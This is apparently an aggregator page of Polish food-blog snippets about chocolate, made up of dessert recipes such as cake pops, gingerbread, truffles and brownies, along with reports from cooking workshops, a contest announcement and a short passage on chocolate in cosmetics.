substancje śluzowe, które tworząc cienki film na skórze, chronią ją przed podrażnieniami. Ze względu na właściwości przeciwzapalne wyciąg z owsa jest cenionym składnikiem kosmetyków do cery wrażliwej i alergicznej. CZEKOLADA - kosmetyki z ziaren kakaowca szybko i skutecznie rozjaśniają i dodają blasku zmęczonej skórze; błyskawiczne nawilżają, wygładzają oraz chronią przed starzeniem się. W połączeniu z mlekiem łatwiej się wchłaniają i regenerują(...)skórę. Dzięki łatwo przyswajalnym mikroelementom kosmetyki z czekoladą nie tylko poprawiają stan naszej skóry, ale także poprawiają funkcjonowanie komórek nerwowych, a selen i cynk sprzyjają powstawaniu endorfin - związków zwalczających stres i nerwicę. MLEKO - Zawiera białka, witaminy A, B i E, tłuszcze oraz cenne pierwiastki np. wapń. Mleko regeneruje naskórek, neutralizuje wolne rodniki, a w efekcie hamuje proces starzenia się skóry

KUCHARNIA
Cake pops na osłodę i konkurs o smaku lata 122

jabłkiem) wersja dla dzieci - 2 łyżki Nutelli (jeśli używamy mascarpone) wersja dla dorosłych - 1 łyżka kakao, 2 łyżki rumu, Amaretto lub innego likieru (jeśli używamy mascarpone) 100 g białej czekolady 2 łyżki śmietany kremówki 30% barwniki spożywcze kolorowe posypki Biszkopty zmielić bardzo drobno i połączyć z serkiem oraz nutellą lub kakako  i likierem. Powinna powstać gładka masa, którą należy(...)wstawić do lodówki na min. 1 godzinę. Po tym czasie z masy formować kuleczki wielkości orzecha włoskiego i ponownie wstawić je do lodówki - na schłodzonych polewa z czekolady będzie szybciej zastygać. Czekoladę połamać na kawałki i przełożyć do miseczki lub rondelka. Dodać śmietanę kremówkę i stopić całość w kąpieli wodnej. Wymieszać i zdjąć z ognia. Gdy polewa lekko przestygnie wmieszać

KUCHARNIA
Miłosne wspomnienia i szczypta kobiecości 173

Pomada, której konfitury i chutneye towarzyszą nam przy wszystkich warsztatach. Tym razem królowała doskonała Śliwska Suska i Ostry Zielony Pomidor . Niebywałą atrakcją i wyróżnieniem był dla nas udział Manufaktury Czekolady , która obdarowała nas wielkimi blokami doskonałych czekolad, o których produkcji i pochodzeniu ciekawie opowiadała przedstawicielka firmy, pani Ilona. Została z nami do końca warsztatów z radością i niekrytym zaangażowaniem gotując(...)chcę zdradzać zbyt wielu szczegółów, ale wiem, że jedną z rzeczy, jakie zostaną zrobione pod okiem Klaudyny będą własnoręcznie przygotowane ... pomadki do ust! Ponoć jednym ze składników ma być czekolada! Co za szczęście, że tam będę i mam nadzieję dostanę taką szminkę w prezencie!  Podobnie jak w przypadku Jadalnych Prezentów (klik) i tym razem wszystkie przygotowane przez nas smakołyki

KUCHARNIA
Inspiracje - Akademia Smaku Siemens. Wygraj zaproszenie na czekoladowe warsztaty. 199

wygrać zaproszenie przeczytanie poniżej (pod fotorelacją). 4 kwietnia o godz. 12.00 w Centrum Domowych Inspiracji w Warszawie, Akademia Smaku Siemens organizuje kolejne spotkanie, które cudownie kuszącym tematem będzie ... CZEKOLADA! Warsztaty pod nazwą "Desery czekolada: Potęga słodyczy" poprowadzi  Krzysztof Kopciński , szef cukierni w restauracji Sowa & Przyjaciele. Krzysztof pracował  m.in. w warszawskiej restauracji „Tamka 43” oraz Klubie Polskiej(...)okiem Wojciecha Amaro.  Patronat nad wydarzeniem objęła firma Lindt.   Warsztaty potrwają około 4 godzin. Koszt dojazdu do Warszawy należy pokryć we własnym zakresie. Jeśli kochacie słodycze i czekoladę tak samo, jak ja, jest szansa na wygranie zaproszenia dla jednej osoby na warsztaty Akademii Smaku.   Co trzeba zrobić?  Napisać w komentarzu: Dlaczego to właśnie Ty chciałabyś/chcia

KUCHARNIA
Kulinarna majówka. Wspomnień czar. 139

mogli przekonać się o doskonałej jakości mąki z Reszla, najstarszego młyna w Polsce, bowiem właśnie Młynomag   dostarczył różne rodzaje mąki potrzebne do wszystkich wypieków.  Pięknie zapakowane zestawy czekolad z działającej od 1881 roku sycylijskiej manufaktury czekolady trafiły w ręce uczestników warsztatów dzięki uprzejmości La Piccola Sicilia , która dostarczyła także doskonałej jakości oliwy i rozpieściła podniebienia niecodziennymi smakami czekolad

KUCHARNIA
Prezenty i wspomnienia - relacja ze świątecznych warsztatów kulinarnych... 201

wiodące prym w temacie słodkości i bakalii: firma Diamant - czołowa marka cukrów; firma Piątnica - importer i producent kasz, bakalii, przypraw i produktów sypkich;  Beskidzkie Łakocie - producent paluszków w czekoladzie  i firma Krokus specjalizująca się we wszelkiego rodzaju przetworach. Tradycyjnie już, jak na wszystkich moich warsztatach, o dostawę najlepszej jakości mąki zadbał Młyn Młynomag .  Zaopatrzeni w doskonałe produkty(...)wiem w stacjonarnych sklepach nie łatwo znaleźć produkty Piątnicy , ale można bez problemu kupować online, za pośrednictwem ich strony internetowej - klik.  "Pierwsze lody" przełamaliśmy Beskidzkimi paluszkami w czekoladzie, które przed końcem roku wprowadziła na rynek marka Kochamy Łakocie! (klik) To taki oczywisty pomysł, by paluszki oblać czekoladą, ale widać potrzeba było czasu, by w końcu ktoś urzeczywistnił dziecięce marzenie

KUCHARNIA
Palmiry z białą czekoladą 122

Zapraszam na pyszne domowe Palmiry z białą czekoladą i cukrem trzcinowym :)  Składniki : 2 opakowania ciasta francuskiego  2 tabliczki białej czekolady cukier trzcinowy 1 jajko Wykonanie : Ciasto rozwijamy , smarujemy roztrzepanym jajkiem , ścieramy równomiernie na całym cieście tabliczkę czekolady. Zwijamy do środka z obu stron. Smarujemy jajkiem i posypujemy cukrem trzcinowym. Kroimy centymetrowe ślimaczki i lekko rozpłaszczamy. Przekładamy na blaszkę

Sama słodycz i szczypta chili
GRUZIŃSKIE CIASTO HERBACIANE Z KORZENNYM CZAJEM I BAKALIAMI. 145

szklanki trzcinowego cukru - bakalie: 3 figi , 1 duże pomelo , rodzynki królewskie, rodzynki korynckie, papaja, mango , aronia, czarna porzeczka suszona , 3 śliwki suszone , 3 mandarynki suszone , jagody inkaskie, - 3 kostki czekolady mlecznej, - orzechy, garść - 3 łyżki oleju kokosowego, - otarta skórka pomarańczy, - czaj korzenny - 2 łyżki czaju na 100 ml wody. - 4 łyżeczki powidła śliwkowego, (u nas domowe) - odrobina sody, - mąka owsiana(...)bezglutenowa, szklanka - cynamon, kardamon, imbir, korzeń lukrecji, - po pół łyżeczki //Pokombinowałyśmy zmieniając proporcje, dodając czekoladę, zwiększając ilość bakalii, zamieniając zwykły olej/masło na olej kokosowy, dodając skórkę pomarańczy i... oczywiście zamieniając zwykłą herbatę na czaj korzenny z Ziarenkowa. No i oczywiście MĄKA (!) w naszym wykonaniu ciasto jest owsiane - bezglutenowe. //Jeśli podwoimy ilość składników, powinno nam wyjść wysokie ciacho

Wypisz Wymaluj
Bounty,czekoladowe kulki 128

Dagmary .================== Skladniki na okolo 25 kulek: * 200 g wiórków kokosowych * 100 ml smietany kremówki * 70 g cukru pudru * 70 g masla * opcjonalnie: kilka kropli aromatu rumowego * 200 g mlecznej czekolady (mi wystarczylo okolo 130 g) ===================WYKONANIE.....W naczyniu wymieszac wiórki z cukrem pudrem. W malym garnuszku podgrzac kremówke i maslo, az maslo sie rozpusci. Rozpuszczona miksture wlac na wiórki, dodac(...)sciskajac wiórki w dloni). Ukladac je na papierze do pieczenia, przykryc folia aluminiowa, schlodzic przez minimum godzine. Rozpuscic mleczna czekolade (w kapieli wodnej lub mikrofali). Kazda kulke zanurzyc w czekoladzie (mozna sobie pomóc wykalaczka), wylozyc na papier, by czekolada stwardniala (trwa to dosc dlugo, mozna wlozyc do lodówki, bedzie szybciej; ja po prostu odstawilam na noc w chlodniejsze miejsce

w mojej kuchni
BURAK w glównej roli 115

soli opcjonalnie ok. 50 g chipsów czekoladowych starta skórka z 1 pomarańczy dodatkowo trochę tłuszczu do wysmarowania formy trochę mąki do oprószenia formy folia aluminiowa polewa czekoladowa 200 g czekolady (50% kakao) ok. 100 g śmietany kremówki (30%) 1 łyżeczka neutralnego oleju (np. rzepakowego) 1 łyżeczka ekstraktu z wanilii (opcjonalnie) sposób wykonania przepis od Basi formę do ciasta (keksówkę(...)przypalenia. gotowe ciasto wyjąć z piekarnika, studzić na kratce. po ok. 30 minutach wyjąć ostrożnie z formy i odstawić do całkowitego ostudzenia. kiedy ciasto jest zimne, przygotować polewę czekoladową: czekoladę posiekać, umieścić w misce. śmietanę doprowadzić prawie do wrzenia (ma być bardzo gorąca, nie może się jednak gotować) i zalać nią czekoladę. dodać olej i ekstrakt z wanilii. odczekać

w mojej kuchni
Ciasteczka maślane z pistacjami. 149

Składniki: 200 g masła 3 łyżki cukru waniliowego 1 jajko 1 żółtko 4 łyżki mleka 400 g mąki 1 czubata łyżeczka proszku do pieczenia 50 g mlecznej czekolady 50 g posiekanych pistacji Wykonanie: Masło utrzeć z cukrem i cukrem waniliowym na puszystą masę. Dodać całe jajko i żółtko i ponownie chwilę ucierać. Mąkę przesiać wraz z proszkiem do pieczenia(...)Blachę wyłożyć papierem do pieczenia. Z ciasta lepić kulki wielkości orzecha włoskiego. Układamy na blaszce i lekko spłaszczamy. Piec w 180 stopniach C około 15 minut. Studzić na kratce. Czekoladę rozpuścić w kąpieli wodnej. Dekorować ciastka smarując pasek czekoladą i posypać posiekanymi pistacjami

O kuchni z uczuciem
Ciasto z kajmakiem 124

mleka lub gotowa masa kajmakowa 400 ml śmietany 30% 2 łyżeczki żelatyny 10 łyżek cukru pudru 2 budynie waniliowe lub śmietankowe 1/2 litra mleka 1 kostka masła  ¼ kostki czekolady mlecznej czekolady Masa budyniowa: Odlewamy pół szklanki mleka, pozostałą część gotujemy. W odlanym mleku rozprowadzamy budynie. Wlewamy na gotujące się mleko. Gotujemy około 1 minuty. Odstawiamy do wystygnięcia. Masło ucieramy(...)wystygnięcia. Śmietanę ubijamy z 5 łyżkami cukru pudru, dodajemy ostudzoną żelatynę. Ubijamy na sztywną masę. Tak przygotowaną masę wykładamy na ostatnią warstwę herbatników.  Na wierzch ścieramy schłodzoną czekoladę.  Smacznego

Humanistka w kuchni
Tartalettki z jagodami i kremem waniliowym 156

Otrzymujemy 6 przepięknych tarteletek. Nadzienie: 1,5- 2 szklanek jagód 1 serek mascarpone 250 g 2 łyżki cukru pudru 2 łyżeczki żelatyny 1/4 szklanki śmietany 10% 1/2 tabliczki gorzkiej czekolady Żelatynę rozpuszczamy w dwóch łyżkach zimnej wody, czekamy aż napęcznieje. Składniki wkładamy do miski i miksujemy na gładką masę. Na koniec dodajemy żelatynę. Czekoladę rozpuszczamy w kąpieli wodnej lub mikrofalówce(...)Środek tartaletek smarujemy warstwą czekolady, na nią wykładamy krem. Na wierzch układamy około 4 łyżek jagód. Wkładamy na pół godziny do lodówki. Smacznego

Humanistka w kuchni
Ciasto cynamonowe 141

może pominąć tego przepisu. Oryginalny przepis pochodzi z  książki „Kuchnia polska”, ale został przeze mnie znacznie zmodyfikowany. 2 i 1/4 szklanki mąki pszennej pół tabliczki gorzkiej czekolady ¾ szklanki cukru pudru 2 jajka pół słoika dżemu truskawkowego szklanka mleka ¾ kostki margaryny 2 łyżeczki cynamonu 3 łyżki kakao 2 łyżeczki sody oczyszczonej Masło ucieramy  malakserem z dżemem. Do połączonych składników(...)bułką tartą. Ciasto wlewamy do formy 25 na 36 centymetrów. Pieczemy w nagrzanym piekarniku  w temperaturze 150 C około 50 minut. Wystudzone ciasto polewamy roztopioną w kąpieli wodnej czekoladą. Dekorujemy wiórkami czekolady albo cukrem cynamonowym

Humanistka w kuchni
Mus kawowy 166

gorzkiej czekolady 125 g serka Mascarpone 2 łyżki cukru pudru 6 łyżek mocno zaparzonej kawy 150 ml śmietany 30%  Czekoladę rozpuszczamy w kąpieli wodnej. Studzimy. Serek ubijamy z cukrem pudrem na gładką masę. Dodajemy kawę i czekoladę. Na koniec dodajemy ubitą śmietanę i mieszamy. Mus wkładamy do pucharków najlepiej na całą noc.  Zajadamy

Humanistka w kuchni
Czekoladowe pancakes z karmelizowanymi bananami. 159

mąki * 3 łyżki kakao * mleko (ok 2 szklanek) * szczypta soli * 2 łyżki oleju * opcjonalnie cukier wanilinowy (jeśli lubicie bardzo słodkie :) ) Dodatki : * 1 banan * 2-3 łyżki miodu * tabliczka białej czekolady Przyrządzając naleśniki zaczęliśmy od połączenia w misce sypkich składników tj. mąka, kakao, cukier oraz cukier wanilinowy. Po dokładnym wymieszaniu tych składników dolaliśmy olej, mleko i żółtka jaj (po oddzieleniu(...)się zezłocą, najpierw z jednej, później z drugiej strony. Gdy banany są gotowe zdejmujemy je na metalowy ruszt by trochę przestygły. W międzyczasie w kąpieli wodnej rozpuszczamy biała czekoladę. Gdy wszystko jest gotowe rozkładamy pankejksy na talerzu, polewamy roztopioną czekoladą i układamy na nich banany. Jeśli ktoś ma ochotę na więcej cukrowego szaleństwa polecamy zajadać je z bitą śmietaną

Wspólne smaki
CIASTO "COMBER" Z ALKOHOLEM 238

ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} Czekolada działa tak uspokajająco… I pomyśleć, że znano ją już jakieś 15 000 lat temu, jednak w tej formie (tabliczka), jaką znamy dzisiaj, spotkać ją można było dopiero pod koniec(...)wieku . „Czekoladę” wcześniej spożywano w postaci napoju o nazwie tejate , którą każde plemię przygotowywało na swój sposób, zresztą przyrządza nadal. Kakao pochodzi z drzew kakaowych ( Theobroma coccoa ), które rosną w wilgotnych lasach dżungli i znacznie różnią się od innych drzew. Wykazują kauliflorię, jak to pozywają botanicy, czyli pączki kwiatowe wyrastają bezpośrednio z pnia, a nie na czubkach gałęzi, do czego

W kuchni Karmel-itki
Pralinki waniliowo-kokosowe 119

Składniki:  (na 16 sztuk) -200 g pokruszonych herbatników lub biszkoptów -1 opak. serka homogenizowanego o smaku waniliowym -100 g roztopionej białej czekolady -1 opak. wiórków kokosowych -2 batony Lion w białej czekoladzie do dekoracji -papilotki na babeczki Wykonanie: Pokruszone ciasteczka łączymy z serkiem waniliowym i roztopioną w kąpieli wodnej czekoladą. Można dodać trochę wiórek do masy, pralinki będą bardziej

KasiekGotuje
Muffiny czekoladowe z żurawiną 105

gram mąki 2 łyżeczki proszku do pieczenia 2 jajka 250 gram jogurtu (żurawinowego) 50 gram cukru 75 ml oleju 2 łyżeczki kakao dodatki: w przypadku moich muffin cała czekolada posiekana w kostkę, pół szklanki żurawiny.  Przygotowanie muffin to bardzo prosta sprawa. 1. Łączymy składniki suche: mąkę, proszek do pieczenia. 2. Łączymy składniki mokre: jaja z cukrem, jogurt, olej(...)kakao i mieszamy. Dorzucamy dodatki i mamy gotowe ciasto. Ciasto przekładamy do foremek na muffiny. Ja używam silikonowych. Pieczemy w temp. 180 st. przez 30 minut.  Dekorujemy rozpuszczoną czekoladą, kostkami czekolady, żurawiną, bądź też skórką pomarańczową. ZAPRASZAM

Mój Smak na Życie
Sernikobrownie z jagodami 131

widziane i zjadane z apetytem:))) A takie wilgotne brownie z dodatkiem masy serowej i owoców w szczególności. Tym razem wykorzystałam zamrożony zapas jagód, które świetnie współgrały z serem i czekoladą! foremka 24 x 27cm Składniki:   200 g mlecznej czekolady,  200g masła lub margaryny,  350g cukru pudru,  5 jajek,  100g mąki pszennej,  1/2 kg półtłustego(...)twarogu,  350 g jagód (mogą być mrożone),  cukier waniliowy. Margarynę utrzeć z 200g cukru pudru. Stale ucierając, dodawać kolejno trzy jajka. Czekoladę stopić na parze i przestudzić, wlać do utartej margaryny. Wsypać przesianą mąkę, dokładnie wymieszać. 3/4 masy wlać do natłuszczonej i wysypanej bułką tartą blaszki. Twaróg utrzeć z resztą cukru pudru, cukrem waniliowym oraz pozostałymi

Z miłości do słodkości
Piernik świąteczny 187

ganeczku ciasta kuszą. Poczekamy jeszcze dzień, może wytrzymamy... Wśród wypieków pojawiło się w tym roku kilka nowości. Jedną jest wspaniały piernik, pełen bakalii, przełożony powidłami i oblany gorzką czekoladą. Jadłam go wcześniej tylko raz. Od razu wiedziałam, że muszę o nim napisać. Przepis pochodzi od kolegi, który mnie nim poczęstował. Piernik (przepis na 2 keksówki) 20 dkg cukru(...)żółtek 75 dkg mąki 1 łyżeczka sody oczyszczonej 3 łyżki kakao przyprawa do piernika szklanka ciemnego piwa 35 dkg miodu 2-3 szklanki bakalii powidła do przełożenia 200g gorzkiej czekolady Masło, cukier, miód i żółtka jaj utrzeć na puch. Dodać mąkę, sodę i kakao. Ponownie utrzeć. Na koniec ciasto wymieszać z bakaliami i pianą z białek. Piec 1 godzinę

Zapiski Młodej Żony
Tarta ze Snickersami 815

bazie skruszonych markiz czekoladowych z bitą śmietaną, masą kajmakową - dopełnione drobno pokrojonymi batonikami Snickers. Poezja smaku :) Składniki na spód: 300 g markiz czekoladowych z nadzieniem czekoladowym 50 g gorzkiej czekolady (połamanej) 50-60 g masła (w temperaturze pokojowej) Składniki na nadzienie: 250 g serka mascarpone 1 puszka dulce de leche lub gotowej masy kajmakowej (ok. 400 g) 70 g białej(...)czekolady (roztopionej w kąpieli wodnej) 3 Snickersy (po 60 g każdy) 300 g śmietany kremówki 36% Zaczynamy od przygotowania spodu tarty. Wszystkie składniki włożyć do malaksera i zmiksować na mokry piasek. Najpierw lepiej dodać mniej masła (50 g) i sprawdzić czy masa daje się formować w palcach. Jeżeli jednak nadal bardzo się kruszy dodać pozostałe 10 g masła. Przygotować formę

Świat Ciasta
Chlebek bananowo-dyniowy 174

dojrzały banan 2 łyżki miodu 200 g maki pszennej 550 1 łyżeczka sody 1/2 łyżeczka proszku do pieczenia 150 g brązowego cukru 120 g oleju 2 jajka 50 g czekolady cukier puder do posypania Wykonanie: Banana rozgniatamy widelcem. Czekoladę drobno kroimy. Do miski wrzucamy jajka, rozkłócamy je widelcem, dodajemy pure z dyni, banana, przesianą mąkę wraz  z sodą(...)proszkiem do pieczenia, cukier, olej i posiekaną czekoladę. Wszystko dokładnie mieszamy. Piekarnik nagrzewamy do 170 stopni, bez termoobiegu. Keksówkę o długości 23 cm wykładamy papierem do pieczenia, przekładamy do niej ciasto i pieczemy około godziny. Studzimy na kratce. Gdy ciasto wystygnie posypujemy je cukrem pudrem

Kulinarne przygody Gatity
Ciasteczka digestive 133

Digestive to najbardziej popularne ciasteczka w UK. Są kruche, pełnoziarniste, o charakterystycznym słodko - słonym smaku. Najlepsze z mleczną czekoladą. Składniki: 175 g mąki pełnoziarnistej 50 g mąki pszennej 50 g zmielonych płatków owsianych pół łyżeczki soli 1 łyżeczka proszku do pieczenia 100 g masła 3-4 łyżki brązowego cukru 60 ml mleka ewentualnie mleczna lub gorzka czekolada Wykonanie: Płatki owsiane(...)ciastka o średnicy około 5 cm. Dziurkować widelcem. Wyłożyć na wyłożona papierem do pieczenia blachę, piec około 15-17 minut w temperaturze 185ºC. W gustu można przygotować je z czekoladą. Wystarczy roztopić ją w kąpieli wodnej i posmarować nią spodnia część ciasteczek

Pyry na Gaz
Bezglutenowe ciasto marchewkowe z kremem czekoladowo-kokosowym 193

zdecydowanie najlepsze bezglutenowe ciasto jakie robiłam i jadłam! Marchewkowe ciasto przełożone naturalnym serkiem a wszystko polane obłędnie smakującym kremem czekoladowo-kokosowym. Poza użyciem gorzkiej czekolady nie dodawałam do ciasta ani grama cukru. Nawet na diecie możecie sobie pozwolić na kawałek tego pysznego deseru :) szklanka mąki gryczanej 1/3 szklanki mielonych migdałów 2 łyżeczki proszku do pieczenia 0/5 łyżeczki sody łyżeczka cynamonu(...)szklanki startej marchewki 2 łyżki jogurtu naturalnego 2 łyżki soku z cytryny skórka starta z całej pomarańczy 6 łyżek naturalnego serka twarogowego puszka schłodzonego mleczka kokosowego 100 g gorzkiej czekolady dobrej jakości łyżka masła Jajka ucieramy z miodem i pokrojonym bananem na puszystą masę. Stopniowo dolewamy olej i jogurt dalej miksując. Dodajemy wymieszane suche składniki a na koniec startą marchewkę

Mienta blog
Ambasador 390

maślany. Podzielony na część jasną i ciemną. Część jasna zawiera brzoskwinie i jest lekko zakrapiana sokiem z brzoskwiń, natomiast część ciemna zawiera kakao i jest iście przepełniona bakaliami i czekoladą. Ambasador bo taka jego nazwa, doskonale pasuje do tego ciasta. Jest na bogato, iście ambasadorsko, dostojne, niczym król pośród ciast Bardzo Wam polecam Składniki na ciasto: 300 g mąki pszennej(...)budyniu. Odstawiamy do ostygnięcia. Masło ucieramy na puch. Stopniowo, łyżka po łyżce dodajemy zimny budyń. Ucieramy do otrzymania puszystego kremu. Krem dzielimy na pół. Do jednej części dodajemy bakalie, czekoladę, kakao. Delikatnie mieszamy. Do drugiej części dodajemy pokrojone brzoskwinie i około 2-3 łyżek soku z brzoskwiń. Mieszamy. Na ciasto nakładamy ciemny krem, na ciemny krem nakładamy krem jasny. Posypujemy

Made By Mom And Son
Brownie w wersji light 156

koniecznie jeszcze raz upiec :-) Składniki na średnią tortownicę ( 24 cm): 200 g mąki 100 g brązowego cukru, 60 g zwykłego cukru 4 łyżki ciemnego kakao, 100 g   gorzkiej czekolady 2 łyżeczki proszku do pieczenia, 100 g masła lub margaryny 4 jajka, szczypta soli, 120 g jogurtu 2 jabłka, 100g cukru pudru do posypania. 100 g orzechów włoskich Sposób wykonania(...)Dodać do niego jabłka i orzechy. Wszystko jeszcze podgrzewać ok. 2 minuty mieszając od czasu do czasu a następnie odstawić do wystygnięcia. W drugim garnuszku na małym ogniu rozpuścić czekoladę razem z masłem i wystudzić. Jajka ubić z 60 g zwykłego cukru na puszystą masę, pod koniec dodać stopniowo jogurt, rozpuszczone masło z czekoladą i sól. W drugiej misce wymieszać

Na słodko lub wytrawnie
Piernik staropolski 157

minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} Najlepszy z najlepszych. Wspaniały piernik dojrzewający, przełożony powidłami i polany gorzką czekoladą, polecam :-) Jest tak pyszny, że mam obawy czy doczeka do świąt ;-) Ciasto należy zrobić od 6 – 4 tygodni przed świętami i zarezerwować przez ten czas miejsce w lodówce, żeby mógł(...)torebek przyprawy do piernika Dodatkowo: 1 kg powideł śliwkowych do przełożenia piernika 200 g pokrojonych suszonych bakalii: śliwki, morele, figi, żurawina, rodzynki 100 g gorzkiej czekolady 40 g masła Orzechy i płatki migdałowe do dekoracji Sposób wykonania: W garnuszku na małym ogniu podgrzać miód, cukier i masło cały czas mieszając. Gdy cukier się dobrze rozpuści, należy wszystko wystudzić. Sodę rozpuścić

Na słodko lub wytrawnie
Popękane ciasteczka czekoladowe (chocolate crinkles) 183

Świat Kasi wynalazła przepis na te ciasteczka..i obie zrobiłyśmy ...pyszne małe co nie co do kawy.. 1/4 kostki do pieczenia Kasia (60g) 1 i 1/2 tabliczki gorzkiej czekolady (150g) 1/3 szkl.cukru (80g) 3/4 szkl.mąki (120g) 2 jajka 1/4 łyżeczki proszku do pieczenia szczypta soli 1/3 szkl. cukru pudru do obtoczenia Mąkę wymieszać z proszkiem do pieczenia(...)solą.W rondelku rozpuścić Kasię razem z połamaną czekoladą.Białka oddzielić od żółtek i ubić z cukrem na sztywną pianę. Do ubitych białek dodać, ciągle mieszając, najpierw żółtka, a następnie rozpuszczoną z Kasią czekoladę.Na koniec wsypać mąkę i dokładnie wymieszać. Tak przygotowane ciasto wstawić na godzinę do zamrażarki.Ze schłodzonego ciasta zrobić wałek i pociąć ciasto na jednakowe kawałki

Moje domowe kucharzenie
3 BIT 128

herbatników 1 puszka masy kajmakowej (krówkowej) 500g schłodzonej śmietanki kremówki 30% lub 36% 3 łyżki cukru pudru 2 śmietan-fixy do śmietany 3-4 krople aromatu śmietankowego 100g gorzkiej czekolady lub kakao A jak to zrobić:  Proszek budyniowy wymieszać z 1/2 szklanki zimnego mleka tak, żeby nie było grudek. Resztę mleka zagotować w rondelku z grubym dnem (żeby budyń(...)Równomiernie rozsmarować masę kajmakową (można ją wcześniej zanurzyć w gorącej wodzie). Na masę wyłożyć pozostałe herbatniki i trochę je docisnąć.  Wierzch na całości równo pokryć bitą śmietaną.  Czekoladę połamać i zemleć w blenderze (lub zetrzeć na tarce, na grubych oczkach). Ciasto posypać czekoladą (lub kakao) i wstawić je na całą noc do lodówki

Kuchnia w opałach
TOFFIK 112

zupełnym końcu. A przecie ż to jedno z moich najbardziej ulubionych ciast. Polecam serdecznie spróbujcie, wart jest grzechu :) SKŁADNIKI: 80 dag tłustego zmielonego sera 4 jajka 200g dobrej gorzkiej czekolady ok 200 g masy kajmakowej orzechowej 1 szklanka cukru pudru 200 g ciastek oreo ok 80 g masła ( roztopionego) A jak to zrobić: Czekolady rozpuszczamy w kąpieli wodnej.  Miksujemy(...)następnie dodajemy po jednym jajku, dalej mieszając.  Z masy serowej odlewamy ok 1/3 do osobnej miski, łączymy tę część z masą kajmakową.  Pozostałą masę (2/3) łączymy z czekoladą ( powinna być schłodzona).  Do tortownicy  o średnicy 22cm,  nakładamy rozkruszone na mąkę ciastka wymieszane  z roztopionym masłem ( całość powinna przypominać w konsystencji mokry piasek).  Następnie

Kuchnia w opałach
DELIKATNY KREM Z LEKKĄ CZEKOLADOWĄ NUTKĄ 65

Szkoda tylko, że takich dni jest niewiele. Ale cieszmy się chwilą :) SKŁADNIKI: 200 ml śmietanki 30 % śmietan-fix 1 łyżka cukru pudru 200 g serka mascarpone 100 g mlecznej czekolady ziarna granatu A jak to zrobić: Czekoladę rozpuścić w kąpieli wodnej i odstawić, aby lekko przestygła. Śmietankę ubić na sztywno z cukrem pudrem i śmietan-fixem (odłożyć dwie łyżki(...)dekoracji). Dodać mascarpone i przestudzoną, płynną czekoladę, całość dokładnie wymieszać, przy użyciu miksera. Krem przełożyć do pucharków, udekorować bitą śmietaną i posypać ziarnami granatu. Podawać schłodzone

Kuchnia w opałach
KREM CZEKOLADOWY Z RUMEM I FIGĄ 96

jutrzejszy dzień wolny. A od poniedziałku znów do pracy i wcale nie będzie lżej :( Na szczęście liczy się tu i teraz. SKŁADNIKI:  2 porcje 100 g mlecznej czekolady 200 ml śmietanki 36 % 1 łyżka cukru pudru 2 łyżki białego rumu 1 figa wiórki czekoladowe do dekoracji A jak to zrobić: Czekoladę rozpuścić w kąpieli wodnej i odstawić do wystygnięcia(...)Śmietanę ubić z mikserem, aż stanie się gęsta ale nie sztywna. Dodać cukier i płynną czekoladę ciągle miksując. Na koniec cienkim strumieniem wlewać rum i miksować, uważając aby masa się nie zważyła.  Krem przełożyć do pucharków i schłodzić w lodówce około 1 godziny. Podawać z ćwiartkami dojrzałej figi i wiórkami czekoladowymi

Kuchnia w opałach
DOMOWE RAFAELLO 113

odwiedzacie, że czytacie i mam nadzieję, że korzystacie :) No to dzisiaj dla Was trochę słodyczy :) SKŁADNIKI: 25 g cukru pudru 50 g masła  1 tabliczka białej czekolady 3/4 szklanki wiórków kokosowych obrane migdały ok. 20 sztuk oraz wiórki kokosowe do obtoczenia kulek A jak to zrobić: Czekoladę połamać na kostki i rozpuścić w kąpieli wodnej, odstawić aby lekko przestygła(...)misce utrzeć dokładnie cukier puder z masłem przy użyciu miksera. Następnie wlać roztopioną czekoladę i dosypać wiórki, utrzeć całość na gładką masę. Tak przygotowaną masę odstawić na 30 minut do lodówki. Jak masa stężeje formować małe kulki w środek których włożyć migdał. Obtoczyć w wiórkach i już prawie gotowe. Jeszcze tylko 2 godzinne leżakowanie pralinek w lodówce i możemy się

Kuchnia w opałach
PIERNIK POMARAŃCZOWY 99

piernika 1 łyżeczka cynamonu 1,5 łyżeczki sody oczyszczonej 3-4 łyżki kandyzowanej skórki pomarańczowej konfitura pomarańczowa do przesmarowania piernika (Owocowa Rozkosz) 100 ml śmietanki 30 % 100 g mlecznej czekolady A jak to zrobić:   Jako pierwszą należy przygotować polewę, aby zdążyła zgętnieć. Śmietankę podgrzać i roztopić w niej czekoladę, odstawić do przestygnięcia. Masło roztopić w garnku, dodawać kolejno cukier(...)pieczenia i wstawiamy do nagrzanego piekarnika 170 - 180 stopni na 45-50 minut. Piernik po przestudzeniu przecinamy na pół i smarujemy konfiturą pomarańczową. Składamy, a wierzch polewamy wcześniej przygotowaną czekoladą.  Bardzo dziękuję za słodką przesyłkę

Kuchnia w opałach
TRUFLE POMARAŃCZOWE 115

inaczej. W centrum miasta wraz z koleżankami, częstowałam Opolan smakołykami. Fotorelacja z tego dnia już jutro :) SKŁADNIKI: na około 30 sztuk 125ml śmietanki o zaw. tłuszczu 30% 100g gorzkiej czekolady z pomarańczą 1 kopiasta łyżka Nutelli 100g biszkoptów 2 łyżki likieru pomarańczowego 2 łyżki skórki pomarańczowej drobno pokrojonej 30g masła kakao do obtoczenia trufli (użyłam słodzonego) A jak to zrobić(...)rondelku zagotować śmietankę z masłem. Zdjąć z ognia i rozpuścić w niej czekoladę połamaną na kawałki. Biszkopty drobno rozkruszyć (użyłam blendera) i dodać wraz z pozostałymi składnikami do masy z roztopionej czekolady. Całość dokładnie wymieszać i po wystudzeniu odstawić na kilka godzin do lodówki, aby masa stwardniała. Z masy formować kuleczki i obtaczać je w kakao. Przechowywać w chłodnym miejscu

Kuchnia w opałach
WIŚNIOWE KULKI 129

